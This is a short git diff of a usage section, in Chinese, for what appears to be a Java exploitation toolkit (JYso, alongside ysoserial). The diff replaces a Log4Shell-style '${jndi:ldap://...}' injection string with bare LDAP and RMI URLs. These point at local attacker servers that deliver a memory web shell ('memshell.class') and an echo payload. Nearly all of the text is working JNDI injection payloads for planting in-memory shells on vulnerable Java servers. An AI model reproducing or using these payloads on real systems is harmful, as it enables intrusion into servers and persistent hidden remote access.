diff --git a/5、Java-Mem-Shell.md b/5、Java-Mem-Shell.md
index a589d11..0749d02 100644
--- a/5、Java-Mem-Shell.md
+++ b/5、Java-Mem-Shell.md
@@ -5,7 +5,11 @@
 # 使用说明
 
 ```
-${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/memshell.class}
+ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/memshell.class
+```
+
+```
+rmi://127.0.0.1:1099/basic/M-LF-Echo.class
 ```
 
 + ysoserial